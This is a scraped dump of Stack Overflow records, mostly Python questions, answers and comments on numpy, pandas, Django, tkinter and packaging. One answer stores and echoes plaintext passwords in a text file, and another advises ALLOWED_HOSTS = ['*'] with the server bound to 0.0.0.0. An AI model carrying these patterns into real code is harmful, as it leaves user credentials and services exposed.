has body: I am using dicts and lists with this code: def data4circos(assembly_len, reference_len, reference_name, assembly_contigs): ''' [ {"id":"chr03","label":"chr03","color":"#996600","len":35020413}, {"id":"tig00007144","label":"tig00007144","color":"#666600","len":40868}, ... } ''' print reference_len print reference_len[reference_name] print reference_name print assembly_len print assembly_contigs print assembly_contigs[0] print assembly_len[assembly_contigs[0]] and it produces the following output: reference_len: OrderedDict([('chr01', '29070452'), ('chr02', '29511734'), ('chr03', '35020413')]) reference_len[reference_name]: 35020413 reference_name: chr03 assembly_len: OrderedDict([('tig00007144', '40868'), ('tig00000004', '276328'), ('tig00000013', '34218') ]) assembly_contigs: ['tig00007144', 'tig00026480', 'tig00003221', 'tig00010111', 'tig00000318', 'tig00009327'] assembly_contigs[0]:tig00007144 assembly_len[assembly_contigs[0]]: 40868 What would be the best way to create json file which looks like this from the above data: [ {"id":&lt;reference_name&gt;,"label":&lt;reference_name&gt;,"color":"#996600","len":&lt;reference_len[reference_name]&gt;}, {"id":&lt;assembly_contigs[0]&gt;,"label":&lt;assembly_contigs[0]&gt;,"color":"#666600","len":&lt;assembly_len[assembly_contigs[0]]&gt;}, ... ] And the final out put should like this: [ {"id":"chr03","label":"chr03","color":"#996600","len":35020413}, {"id":"tig00007144","label":"tig00007144","color":"#666600","len":40868}, ... ] Thank you in advance.
has comment: http://stackoverflow.com/comment/80900259
type: Question

http://stackoverflow.com/a/46991056
score: 0
has body: Try This: print("Welcome to my Quiz!") existing = input("Are you an existing user?: ") if existing.lower() == "yes": print("Enter your Credidentials") username = input("Enter your Username: ") password = input("Enter your Password: ") with open("data.txt", "r") as raw_data: my_data = raw_data.read() re_data = my_data.split('\n') check_box = username + "," + password if check_box in re_data: print("Welcome Back " + username) else: print("Account not found") else: user = input("Enter your first name: ") year = input("Enter the year you are in: ") password = input("Enter your password: ") username = user[:2]+year save_box = username + "," + password + "\n" with open("data.txt", "a") as raw_data: raw_data.write(save_box) print("Your account has been created." "Your username is.." + username + "..and your password is" + password) print("Goodbye, Have a Nice Day ...") your username_password file should be: jack,6354734346534 edward,45645646754 jeje,874574574587
answers question: http://stackoverflow.com/q/46990885
type: Answer
has comment: http://stackoverflow.com/comment/80929372

culling
tags question: http://stackoverflow.com/q/46948821
tag name: culling
type: Tag

python-2.6
type: Tag
tags question: http://stackoverflow.com/q/46923563
tag name: python-2.6

http://stackoverflow.com/q/47062159
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/81075849
tagged with: python
score: 0
answer count: 0
has body: I'm trying to model computer networks in Python using Networkx with the built-in Barabasi-Albert graph generator. My understanding is that this better represents a real network. I want to randomly select a node as a entry/exist point for an attacker and visualize it with matplotlib. However, this "random" node can be place pretty much anywhere in the layout (I'm currently using the spring layout). This looks a little weird sometimes as the selected node could be right in the middle of the visualization, as if the entry/exit node is from within the network vs the network edge. While a case could be made that this could represent insider threats, that's not something I would like to show at this time. Is there an easy way I can position the node so that it's on the "exterior" of the graph? Or perhaps "pick" one of the nodes on the "exterior" as this entry/exit?
has comment: http://stackoverflow.com/comment/81075816
has comment: http://stackoverflow.com/comment/81079269
has title: Place a "root" node in an undirected graph
tagged with: networkx
type: Question
type: UnansweredQuestion

http://stackoverflow.com/a/46943443
score: 1
type: Answer
answers question: http://stackoverflow.com/q/46943340
downvote count: 0
upvote count: 1
has body: You have to instropect that yourself. You can put the snipped bellow in a utility function, but the idea is: retrieve the class, from the class, iterate over the __mro__ attribute, and in each class there, check if the desired function or attribute is on its __dict__: print(list(cls for cls in b.__class__.__mro__ if "funct" in cls.__dict__)) (You know "pdb" has nothing to do with that - and that Python usually can work in an interactive mode, right? PDB is just one way of getting into the interacitive mode, albeit one with poor resources if compared with Python shells like ipython.) As a second note: I don't know what you are doing, but you really should be trying to do that in Python 3.x, not Python 2.

http://stackoverflow.com/q/46959619
has comment: http://stackoverflow.com/comment/80866702
favorite count: 0
has body: I have a numpy.ndarray and I have a boolean list. I want to use the list to access the columns in the array. X = [[1,2,3,4],[5,6,7,8]] Y = [True,False,False,True] I want the result to be [[1,4][5,8]] I guess I am doing this inefficiently and would like to know if there is a straightforward method.
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80866722
score: 1
has title: Indexing numpy array using boolean vector
has comment: http://stackoverflow.com/comment/80866867
type: Question
tagged with: numpy
accepted answer: http://stackoverflow.com/a/46959683
has answer: http://stackoverflow.com/a/46959683
has comment: http://stackoverflow.com/comment/80866643
downvote count: 0
answer count: 1
upvote count: 1
tagged with: python

http://stackoverflow.com/comment/80823463
has text: This code is probably _way_ beyond Rosie's skills at this stage.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/46938105

http://stackoverflow.com/a/53166670
score: 1
type: Answer
downvote count: 0
upvote count: 1
has body: You do not need to restart console, just replace bot.polling(none_stop=True) with bot.infinity_polling(True) - even with error "timeout..." bot is working.
answers question: http://stackoverflow.com/q/46943922

http://stackoverflow.com/a/47015175
score: 2
downvote count: 0
type: Answer
upvote count: 2
answers question: http://stackoverflow.com/q/46936969
type: AcceptedAnswer
has body: The Jedi package fixed this for Jedi 0.11.0 https://github.com/DonJayamanne/pythonVSCode/commit/25133dc145a8a3ea82d54569026c1d0f979f6f63 But conda still does not have Jedi 0.11.0 for Windows (and no custom repos either). What I did was edit the file /site-packages/jedi/settings.py and change APPDATA to LOCALAPPDATA as is described in the link.
accepted answer of: http://stackoverflow.com/q/46936969

http://stackoverflow.com/comment/80882420
has text: Thanks! Helped me a lot !!! killing explanation.....
score: 0
comment on: http://stackoverflow.com/a/46962429
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/80919907
type: Comment
score: 0
type: AnswerComment
has text: I did not want to delete the whole row. Want to delete just the keyword from its list.
comment on: http://stackoverflow.com/a/46986199

http://stackoverflow.com/a/46938275
type: Answer
answers question: http://stackoverflow.com/q/46937916
has body: I guess you are trying to do this: def bulls_and_cows(real, guess): bulls = 0 cows = 0 for i in range(len(guess)): if guess[i] == real[i]: bulls = bulls + 1 print ("Bullseye!") else: cows += 1 if bulls == 0: print("No") else: print("Bulls: " , bulls, " Cows: ", cows) bulls_and_cows("like", "brig") Please let me know if it is not what you intend so I can help you more. This code Prints "Bullseye!" for every time a char in guess matches the char in real in the same place. and prints "No" if they do not match. I couldn't understand why you needed a cows = 0 at first because you never used it in your code. Also please notice that indention is very important in python. So in your code at least one of the lines after the if should be indented. Also, in this code, I assumed that the length of the two input strings is the same. If not you may encounter out of bound error. To prevent such errors it is better to compare the length of the two strings at the start of the function: if len(real) != len(guess): print("The strings Length does not match!") return If you insist to compare the strings even though they are of different lengths, another option to prevent this error is to change the code like this: def bulls_and_cows(real, guess): bulls = 0 cows = 0 real_len = len(real) guess_len = len(guess) for i in range(real_len): if i &lt; guess_len and guess[i] == real[i]: bulls = bulls + 1 print ("Bullseye!") else: cows += 1 if bulls == 0: print("No") else: print("Bulls: " , bulls, " Cows: ", cows)
score: 0

http://stackoverflow.com/a/46910029
has body: In settings.py write ALLOWED_HOSTS = ['*'] and run python manage.py runserver 0.0.0.0:8000 Note: you can use any port instead of 8000
type: AcceptedAnswer
score: 9
upvote count: 9
accepted answer of: http://stackoverflow.com/q/46909905
type: Answer
has comment: http://stackoverflow.com/comment/80766955
answers question: http://stackoverflow.com/q/46909905
downvote count: 0

http://stackoverflow.com/comment/80874304
type: Comment
type: QuestionComment
score: 0
has text: Possible duplicate of [Are PostgreSQL column names case-sensitive?](https://stackoverflow.com/questions/20878932/are-postgresql-column-names-case-sensitive)
comment on: http://stackoverflow.com/q/46963046

http://stackoverflow.com/comment/80932009
comment on: http://stackoverflow.com/a/46992721
type: Comment
score: 0
type: AnswerComment
has text: @ats22 1. Your `b` list still have more elements, than `a` (I don't know, may be this just typo). 2. Matrix order should be equal to array length (array length in your code 5 for `a` and 6 for `b`) and matrix order = 4.

http://stackoverflow.com/comment/105810498
has text: what-if you listen for a 1s and then print the word, there might be some loss but it will return per-word, would that work?
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47004955

http://stackoverflow.com/a/47043118
type: Answer
score: 1
answers question: http://stackoverflow.com/q/47042936
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has body: In [424]: l = np.array([[1, 3], 1, np.nan, [3, 53, 13], ['225gg2g']], dtype=object) In [425]: loc = [1,2] In [426]: l[loc] Out[426]: array([1, nan], dtype=object) In [427]: l[loc] = ['wgwg',23,'g'] --------------------------------------------------------------------------- ValueError Traceback (most recent call last) &lt;ipython-input-427-53c5987a9ac6&gt; in &lt;module&gt;() ----&gt; 1 l[loc] = ['wgwg',23,'g'] ValueError: cannot copy sequence with size 3 to array axis with dimension 2 It's trying to broadcast the 3 item list (converted to an array?) into a 2 item slot. We can wrap the list in another list, so it is now a single item list: In [428]: l[loc] = 'wgwg',23,'g' In [429]: l Out[429]: array([list([1, 3]), list(['wgwg', 23, 'g']), list(['wgwg', 23, 'g']), list([3, 53, 13]), list(['225gg2g'])], dtype=object) Were as if we copy it one by one we get: In [432]: l[loc[0]] = ['wgwg',23,'g'] In [433]: l[loc[1]] = ['wgwg',23,'g'] In [434]: l Out[434]: array([list([1, 3]), list(['wgwg', 23, 'g']), list(['wgwg', 23, 'g']), list([3, 53, 13]), list(['225gg2g'])], dtype=object) There isn't an easy to way to get around this 3=>2 mapping issue. But why do you need to do this? It looks suspicious to me. edit It works I first create a 0d object array: In [444]: item = np.empty([], object) In [445]: item.shape Out[445]: () In [446]: item[()] = ['wgwg',23,'g'] In [447]: item Out[447]: array(['wgwg', 23, 'g'], dtype=object) In [448]: l[loc] = item In [449]: l Out[449]: array([list([1, 3]), list(['wgwg', 23, 'g']), list(['wgwg', 23, 'g']), list([3, 53, 13]), list(['225gg2g'])], dtype=object)
accepted answer of: http://stackoverflow.com/q/47042936

http://stackoverflow.com/comment/117343263
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49820322
has text: all I needed was `sudo apt install python3-dev`

http://stackoverflow.com/q/46985549
has answer: http://stackoverflow.com/a/46986757
score: 2
upvote count: 2
answer count: 2
downvote count: 0
tagged with: scikit-learn
tagged with: python
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/53362731
tagged with: http://stackoverflow.com/tag/r
type: Question
has title: Export sklearn model to run in R
favorite count: 0
has body: I've built a random forest model using sklearn in Python. How can I export the model object irisfit so that it can be read in R and used to make predictions there? import numpy as np import pandas as pd url = "https://archive.ics.uci.edu/ml/machine-learning-databases/iris/iris.data" names = ['sepal-length', 'sepal-width', 'petal-length', 'petal-width', 'class'] iris = pd.read_csv(url, names=names) from sklearn.ensemble import RandomForestClassifier features = iris'sepal-length', 'sepal-width', 'petal-length', 'petal-width' target = iris['class'] irisfit = RandomForestClassifier().fit(features, target)
has comment: http://stackoverflow.com/comment/80918897

http://stackoverflow.com/comment/80950937
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46997823
type: Comment
has text: @piRSquared Upvoted this as well as the previous question :)

http://stackoverflow.com/comment/80867759
type: AnswerComment
comment on: http://stackoverflow.com/a/46959803
type: Comment
has text: I get it. I get it. But Lambda is nothing but anonymous functions in python! And as far as the performance is concerned, try running the same code in a for loop. There using map and lambda seems better.
score: 0

http://stackoverflow.com/comment/139726328
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47034219
type: QuestionComment
has text: @Andrew In the modern implementations I've used, OSPFv2 handles multiple subnets per interface without any problems, and multiple addresses on an interface that are in the same subnet don't seem to need special handling as far as I understand (as it advertises the subnet as a whole anyway)?

http://stackoverflow.com/comment/81068367
type: Comment
type: QuestionComment
has text: No, that is not the way you should do. In your `process_requests` you need to get the url from the request object and then extract the domain name from it. Maintain a dictionary of urls from that domain. Once it exceeds the limit then you want to return IgnoreRequests
score: 0
comment on: http://stackoverflow.com/q/47059909

http://stackoverflow.com/a/49368396
has body: There doesn't seemed be a correct or future-proof way to pull this off but I would use this pattern: import os if "JPY_PARENT_PID" in os.environ: print('Hello, jupyter') else: print('Hello, Spyder') It's a little bit more specific and has less side-effects than the answer given here. It works in jupyter notebook as well as jupyter lab so I think it is safe to assume that it will future-proofish for a while. Let me know how it works for you. UPDATE: The solution above only works in spyder >3.2 However the solution below should work for all versions of jupyter notebook or spyder, maybe. Basic it's the same if else loop from above but we just test the os.environ for the presence of spyder stuff. import os # spyder_env: was derived in spyder 3.2.8 ipython console running: # [i for i in os.environ if i[:3] == "SPY"] spyder_env = set(['SPYDER_ARGS', 'SPY_EXTERNAL_INTERPRETER', 'SPY_UMR_ENABLED', 'SPY_UMR_VERBOSE', 'SPY_UMR_NAMELIST', 'SPY_RUN_LINES_O', 'SPY_PYLAB_O', 'SPY_BACKEND_O', 'SPY_AUTOLOAD_PYLAB_O', 'SPY_FORMAT_O', 'SPY_RESOLUTION_O', 'SPY_WIDTH_O', 'SPY_HEIGHT_O', 'SPY_USE_FILE_O', 'SPY_RUN_FILE_O', 'SPY_AUTOCALL_O', 'SPY_GREEDY_O', 'SPY_SYMPY_O', 'SPY_RUN_CYTHON', 'SPYDER_PARENT_DIR']) # Customize to account for spyder plugins running in jupyter notebook/lab. n = 0 if "JPY_PARENT_PID" in os.environ: # Compare the current os.environ.keys() to the known spyder os.environ. overlap = spyder_env &amp; set(os.environ.keys()) if len(overlap) == n: print('Hello, jupyter') # This could be a more specific elif statment if needed. else: print('Hello, Spyder') Does that solve the problem for you?
has comment: http://stackoverflow.com/comment/85738983
has comment: http://stackoverflow.com/comment/85747861
has comment: http://stackoverflow.com/comment/85748976
score: 8
upvote count: 8
answers question: http://stackoverflow.com/q/47052861
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/85750788
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/47052861

http://stackoverflow.com/a/46966950
has body: grab both x, y at once, sitck in list in a listcomp and it has the structure you want np.array([[e.x, e.y] for e in points]) Out[203]: array([[ 10., 5.], [ 10., 5.], [ 10., 5.], [ 10., 5.], [ 10., 5.], [ 10., 5.], [ 10., 5.], [ 10., 5.], [ 10., 5.], [ 10., 5.]])
answers question: http://stackoverflow.com/q/46966435
type: Answer
score: 2
upvote count: 2
downvote count: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/80881304
accepted answer of: http://stackoverflow.com/q/46966435

http://stackoverflow.com/comment/111902557
type: AnswerComment
score: 1
type: Comment
has text: I've noticed that even if you install redist the error may persist for many possible reasons: 1- version uncompatibility (2015,2017...), 2- Missing Windows Update, 3- Uncompatible Windows version...etc. The best way so far, is to install Anaconda (or Miniconda).
comment on: http://stackoverflow.com/a/46988839

http://stackoverflow.com/a/66052335
has body: The easiest way to fix is to run ❯ pip install psycopg2-binary
answers question: http://stackoverflow.com/q/47044854
type: Answer
downvote count: 0
upvote count: 1
score: 1

http://stackoverflow.com/q/46922340
has comment: http://stackoverflow.com/comment/80792852
accepted answer: http://stackoverflow.com/a/46922822
linked to: http://stackoverflow.com/q/13269890
downvote count: 0
upvote count: 1
has answer: http://stackoverflow.com/a/46922822
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/46922853
tagged with: dataframe
tagged with: python
has answer: http://stackoverflow.com/a/46922853
has title: pandas-two columns' values are list, need to generate a new df to show all combination of values between them
type: AnsweredQuestion
answer count: 2
tagged with: pandas
has body: Suppose we have: df1= col1 col2 col3 [a,b] [c,d] 0.5 [e,f] [g,h] 0.7 want to return a new df2 based on df1: df2= col1 col2 col3 a c 0.5 a d 0.5 b c 0.5 b d 0.5 e g 0.7 e h 0.7 f g 0.7 f h 0.7 Basically, need to show all combination between the lists in df1's col1 and col2, the length of lists may be larger than 2. Thanks for your help!
score: 1

http://stackoverflow.com/q/47018626
has title: Matplotlib small data in linear scale, fontsize of exponent
has answer: http://stackoverflow.com/a/47018830
duplicate of: http://stackoverflow.com/q/15567932
has body: When small data is plotted in matplotlib that has a range of less than an order of magnitude, I plot it on a linear scale. The plot then gets a label on the top right corner that indicates the exponent of the data, as in the figure here: How can I make the fontsize of this top right corner exponent label larger?
score: 1
answer count: 1
downvote count: 0
tagged with: formatting
upvote count: 1
favorite count: 0
type: Question
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/15567932
tagged with: matplotlib
tagged with: python

http://stackoverflow.com/a/47060130
has body: Your directory tree would look a bit like this: ~/clipper/ setup.py clipper/ __init__.py clipper.py The setup.py file contains information telling Python how to 'parse' your package. Things like the name of your project, the version and what packages to include are defined here. For your example, setup.py may look like this: from distutils.core import setup setup( name="Clipper", # A name for your package, typically your project name description="My first package", # A short description version="1.0.0", # A version specification packages=["clipper"] # A list of packages to include ) Within clipper, clipper.py contains the actual Clipper class: class Clipper(object): def __init__(self): pass def foo(self): print("Invoked foo!") __init__.py is a special type of file. It defines the public interface for interacting with your package. Typically, it imports all public functions and classes: from .clipper import Clipper Finally, to turn this into a proper package, run python3 setup.py sdist. This creates the source distribution for your package and allows you to import it 1. Let's try that now. Navigate back to ~/clipper/ and start Python: &gt;&gt;&gt; from clipper import Clipper &gt;&gt;&gt; c = Clipper() &gt;&gt;&gt; c.foo() Invoked foo! &gt;&gt;&gt; And here's 'real' example of what a package directory would look like: ~/calculator/ setup.py calculator/ __init__.py add.py substract.py setup.py from distutils.core import setup setup( name="Calculator", description="Calculate stuff!", version="1.0.0", packages=["calculator"] ) __init__.py from .add import * from .substract import * add.py def add(a, b): """Return `a` + `b`.""" return a + b substract.py def substract(a, b): """Return `a` - `b`.""" return a - b For more information, see the Python tutorial on packaging. 1 You may get some warnings about missing information, but you can ignore that for now.
has comment: http://stackoverflow.com/comment/81068081
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/47059661
type: Answer

http://stackoverflow.com/comment/80916753
has text: perhaps the problem lies in the repeating of the function assignCard() which could cause a number from the list random.sample to equal a number from the same list assigned to either player or computer.
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46984333

http://stackoverflow.com/comment/80925557
type: AnswerComment
comment on: http://stackoverflow.com/a/46989166
type: Comment
has text: You are printing the text from `'.news-a header'` tag that's why you are seeing those numbers in your output; if you want to parse them you have to use the respective tags to scrap the country and destination
score: 0

http://stackoverflow.com/comment/80975578
type: Comment
has text: And yes, the reflection works if the origin is contained in the inner hole. The key fact is that for _any_ point (x, y) in the plane, `(x, y)` is in `H1` if and only if `(x_inner - x, y_inner - y)` is in `H2`. Everything else follows from there.
type: AnswerComment
comment on: http://stackoverflow.com/a/47013343
score: 0

http://stackoverflow.com/comment/80972277
type: Comment
comment on: http://stackoverflow.com/q/47012242
type: QuestionComment
score: 0
has text: can you tell me what is the need for this question, I doubt you misread the question

http://stackoverflow.com/a/47041649
has comment: http://stackoverflow.com/comment/82536273
has comment: http://stackoverflow.com/comment/81033994
has comment: http://stackoverflow.com/comment/81031794
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81031577
has comment: http://stackoverflow.com/comment/82583394
score: 1
has comment: http://stackoverflow.com/comment/82535953
has comment: http://stackoverflow.com/comment/81041654
answers question: http://stackoverflow.com/q/47041267
type: Answer
has body: However as it currently stands it only starts recording video once I connect to it via some sort of streaming program. What I'd like for it to do is start recording the video at the start of the program and be able to connect to it whenever I'd like to monitor it. This is due to the following line of code: connection = server_socket.accept()[0].makefile('wb') The accept() function blocks, meaning that it doesn't return until the connection is established. Therefore, the code that starts recording: camera.start_recording(connection, format='h264', ... ) only gets executed after the connection is established (after accept() returns). In order to accomplish what you want, you would need to use threads. In one thread, start recording the video locally, i.e. camera.start_recording(completed_video + '{}.h264'.format( dt.datetime.now().strftime('%Y%m%d%H%M%S') ), bitrate=4500000) In another thread, accept an incoming connection, and upon connection call: camera.start_recording(connection, format='h264', splitter_port=2, resize=(640,360)) As it stands I can connect to it no problem, but then I'm unable to reconnect to it. If you want to be able to connect, disconnect, and reconnect indefinitely, then you need to accept the connection in a loop (in its own thread). Perhaps something like this: while(True): connection = server_socket.accept()[0].makefile('wb') camera.start_recording(connection, format='h264', splitter_port=2, resize=(640,360)) camera.wait_recording(7*60*60) #assuming this records for 7 hours? I'm currently trying to program and learn python, while making a project with the raspberry pi zero w. I don't know if you are new to programming in general, or just to python. In the former case, dealing with network programming concepts and threads might be a little bit challenging at first. However, they are necessary to use/understand in order to achieve the functionality you desire.

http://stackoverflow.com/comment/80849774
type: QuestionComment
score: 2
has text: Well, you have to unzip your file before reading it... You even import the module but don't use it.
comment on: http://stackoverflow.com/q/46951406
type: Comment

http://stackoverflow.com/a/46957635
type: Answer
has body: dict comprehension It's a comprehension that returns a dict. Essentially, it iterates a pair of values through counts.items() and then creates a dict (key -> value mapping) out of it. Let's say counts.items() is [(1, 2), (3, 4), (5, 6)]. Then, for x, y in counts.items() will iterate with the following: x = 1, y = 2 x = 3, y = 4 x = 5, y = 6 if x in self.symbols filters the comprehension. So if self.symbols were, say, [1, 4, 5], it would only iterate through x = 1, y = 2 and x = 5, y = 6. Then, the final dict is: { 1: 2, 5: 6 }
score: 0
answers question: http://stackoverflow.com/q/46957512

http://stackoverflow.com/comment/80919487
score: 0
type: Comment
type: QuestionComment
has text: nothing appears when I print(pickle.load(f)) @PatrickHaugh so what should i do?
comment on: http://stackoverflow.com/q/46986173

http://stackoverflow.com/a/47011477
accepted answer of: http://stackoverflow.com/q/47004322
type: AcceptedAnswer
downvote count: 0
upvote count: 4
type: Answer
score: 4
has body: Turns out it was python's "str" conversion. jwt.encode returns a byte array which str then turns into b'...'. The solution was to decode the bytes explicitly instead of using str. So my new insert method is: crsr.execute("insert into jwt values (?,?)", [userId, auth_token.decode("utf-8")]) Really a simple solution but one that is very obscure. Hopefully my efforts with this help someone else!
answers question: http://stackoverflow.com/q/47004322

http://stackoverflow.com/comment/80915110
score: 0
comment on: http://stackoverflow.com/a/46983835
type: Comment
has text: Well, I think it's a useful alternative solution to the given problem... and I think the better one, nevermind
type: AnswerComment

http://stackoverflow.com/comment/81055685
has text: @AK47 I dont know what do you mean by that , I am new in python
type: QuestionComment
comment on: http://stackoverflow.com/q/47054324
type: Comment
score: 0

http://stackoverflow.com/a/47063487
has body: If you only want to change the widget that is in the second position it is not necessary to delete create a new layout, it is only necessary to reuse it, in the following example we see how the widget is changing: class Screen(QWidget): def __init__(self): super(Screen, self).__init__() self.setLayout(QVBoxLayout()) widget1 = QPushButton("Text1", self) widget3 = QLabel("Text3", self) self.widget2_layout = QHBoxLayout() self.change_widget2() self.layout().addWidget(widget1) self.layout().addLayout(self.widget2_layout) self.layout().addWidget(widget3) widget1.clicked.connect(self.change_widget2) def clearLayout(self, layout): item = layout.takeAt(0) while item: w = item.widget() if w: w.deleteLater() lay = item.layout() if lay: self.clearLayout(item.layout()) item = layout.takeAt(0) def change_widget2(self): self.clearLayout(self.widget2_layout) # change the widget. import random widgets = [QLabel, QLineEdit, QPushButton] widget2 = widgets[random.randint(0, len(widgets)-1)]("widget2", self) self.widget2_layout.addWidget(widget2)
has comment: http://stackoverflow.com/comment/81105061
accepted answer of: http://stackoverflow.com/q/47062681
type: Answer
answers question: http://stackoverflow.com/q/47062681
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/81060971
type: QuestionComment
score: 0
type: Comment
has text: Ah, there's been an update to the client 21 hours ago.. You're absolutely right, I was using 0.27.0. I'll rewrite my code to make it work on 0.28.0 and check if the issue will be fixed
comment on: http://stackoverflow.com/q/47039791

http://stackoverflow.com/comment/81040204
comment on: http://stackoverflow.com/q/47026039
has text: @psagers Looks like I just miss understood how it all works. I assumed that it would add users to the appropriate groups in django. So if I'm a member of the `dev` group in LDAP, then `django_auth_ldap` would add my user to the `dev` group in django, and get the permissions from there. Turns out the permissions have been working just fine the whole time -- I just needed to log in with a test user. Thanks for the help!
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47017880
tagged with: deep-learning
has title: Concatenation layer in tensorflow
upvote count: 3
linked to: http://stackoverflow.com/q/47021810
has body: Given 2 3D tensors t1 = [?, 1, 1, 1, 2048] and t2 = [?, 3, 1, 1, 256] seen in the image, how would these be concatenated? Currently, I am using: tf.concat([t1, t2], 4) However, given that my architecture has a large amount of layers with many concatenations, I eventually have a tensor that is too large (in terms of channels/features) to initialize. Is this the correct way to implement a concatenation layer?
answer count: 1
tagged with: tensorflow
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47020691
has answer: http://stackoverflow.com/a/47020691
tagged with: neural-network
downvote count: 0
tagged with: python
type: AnsweredQuestion
score: 3
tagged with: conv-neural-network

http://stackoverflow.com/comment/81017156
comment on: http://stackoverflow.com/a/46959606
has text: @CuriousStudent A reminder, if your question was addressed, please accept the answer. Thank you.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/80920190
type: QuestionComment
comment on: http://stackoverflow.com/q/46984912
type: Comment
has text: `utf8` is broken in the Windows console. I'm guessing but the characters are probably not received as proper utf-8, so the input sequence drops them. I had to hit an extra <enter> to get the error message. Python 3.6 is the fix. It uses Windows native Unicode calls and bypasses dealing with code pages. Python 2 support ends in 2020. For the specific characters you are using, `chcp 1252` works, and you also won't need PYTHONIOENCODING.
score: 1

http://stackoverflow.com/a/51709763
downvote count: 0
has body: Regarding classifiers :- Try using Naive Bayes Multinomial classifier. Svm is bit slow but it can increase the accuracy to few percentages. Also use n gram(2,3) approach at word level. Apart from these. XG boost (Extreme boosting ) is also a very good option. Just keep learning rate minimum, it will take time to train but your model will not overfit and will give good accuracy. Apart from these use stop words from nltk library. I think, you accuracy will be improved to some percentage. I'm not quite sure about the 85%+ accuracy but these implementations will definitely enhance the accuracy to a great extend.
score: 1
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/46990350

http://stackoverflow.com/comment/80868844
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46959898
has text: Fair enough, thanks for checking it out. Use of named parameters would be convenient and easier to understand, but if it doesn't exist, it doesn't exist.

http://stackoverflow.com/comment/80930305
comment on: http://stackoverflow.com/a/46991833
has text: Hi, Don't work json.dumps(my_data). after get data show `response [415]`.
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/46962198
has body: Given a 1D array import numpy as np arr = np.array([0, 0, 0, 0, 0, 0, 8, 83, 120, 111, 31, 37, 10, 0, 0, 0, 0, 0, 0, 0]) I can remove the leading/trailing zeros using numpy.trim_zeros np.trim_zeros(arr) array([ 8, 83, 120, 111, 31, 37, 10]) But I also need the indexes of the removed elements, or at least the indexes of the most extreme ones. In the above case, these would be [5, 13] I could do this with a for loop checking each element to see if the one processed before was 0 and stopping when this condition is False, but I'm wondering if there's a numpy function already developed that could accomplish this.
upvote count: 3
answer count: 1
tagged with: arrays
downvote count: 0
favorite count: 0
type: AnsweredQuestion
score: 3
has answer: http://stackoverflow.com/a/46962249
tagged with: python
has title: Indexes of removed leading/trailing zeros from array
accepted answer: http://stackoverflow.com/a/46962249
type: Question
tagged with: numpy

http://stackoverflow.com/q/46956545
downvote count: 0
answer count: 1
upvote count: 1
favorite count: 0
type: Question
has body: In one of my projects I am trying to convert the following python dict { 'node1' : { 'child1': {}, 'child2':{} }, 'node2': {'child3': {} } } to the following structure, var data = [ { name: 'node1', children: [ { name: 'child1' }, { name: 'child2' } ] }, { name: 'node2', children: [ { name: 'child3' } ] } ]; This format is used by jqtree. Can anyone suggest the best way for this. Since the result data structure does not contain 'node1' as key, I am not sure how to insert next level data into it.
has title: Convert Python Dict to jqtree structure
has answer: http://stackoverflow.com/a/46958034
tagged with: python
accepted answer: http://stackoverflow.com/a/46958034
has comment: http://stackoverflow.com/comment/80892138
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80861730
score: 1

http://stackoverflow.com/q/47042423
accepted answer: http://stackoverflow.com/a/47042569
type: Question
score: 1
has body: Because I wanted to do my routing in angular side I have added this url in my urls.py: url(r'^.*$', Home.as_view(), name='home'), in which my home view I just specify my base.html: class Home(TemplateView): template_name = "base.html" So that I can specify my &lt;ng-view&gt;&lt;/ng-view&gt; in base.html Now my issues the requests to get pictures in server side like localhost:8000/media/uploaded_pic.png are going to the defined url for Home. How can I overcome this issue? Thank you.
answer count: 1
downvote count: 0
upvote count: 1
tagged with: django
has answer: http://stackoverflow.com/a/47042569
tagged with: media
favorite count: 0
type: AnsweredQuestion
has title: Cant access server media files in django + angular project
tagged with: angularjs
tagged with: javascript
tagged with: python

http://stackoverflow.com/a/47066321
downvote count: 1
has comment: http://stackoverflow.com/comment/81080897
has comment: http://stackoverflow.com/comment/81081249
has comment: http://stackoverflow.com/comment/81093811
has body: Corrected code to use Toplevel widget instead of new Tk instance: import tkinter as tk class Gui1: def __init__(self, root): self.root = root self.frame = tk.Frame(root) self.button = tk.Button(text="Openwindow2", command=self.create_gui2) self.button.grid(row=0, column=0) self.frame.grid(row=1, column=1) def create_gui2(self): class Gui2: def __init__(self, root2): self.root2 = root2 self.frame2 = tk.Frame(root2) self.label=tk.Label(text="Window 2") self.label.grid(row=0,column=0) self.frame2.grid(row=3,column=3) root2 = tk.Toplevel() app2 = Gui2(root2) root = tk.Tk() app = Gui1(root) root.mainloop()
answers question: http://stackoverflow.com/q/47061839
type: Answer
score: -1
has comment: http://stackoverflow.com/comment/81080849
upvote count: 0

python-2.7
tags question: http://stackoverflow.com/q/46993962
tags question: http://stackoverflow.com/q/46907043
tags question: http://stackoverflow.com/q/47055689
tags question: http://stackoverflow.com/q/47001404
tags question: http://stackoverflow.com/q/46994436
tags question: http://stackoverflow.com/q/46989989
tags question: http://stackoverflow.com/q/46991395
tags question: http://stackoverflow.com/q/46913785
tags question: http://stackoverflow.com/q/47004273
tags question: http://stackoverflow.com/q/46963166
tags question: http://stackoverflow.com/q/47023141
tags question: http://stackoverflow.com/q/47062062
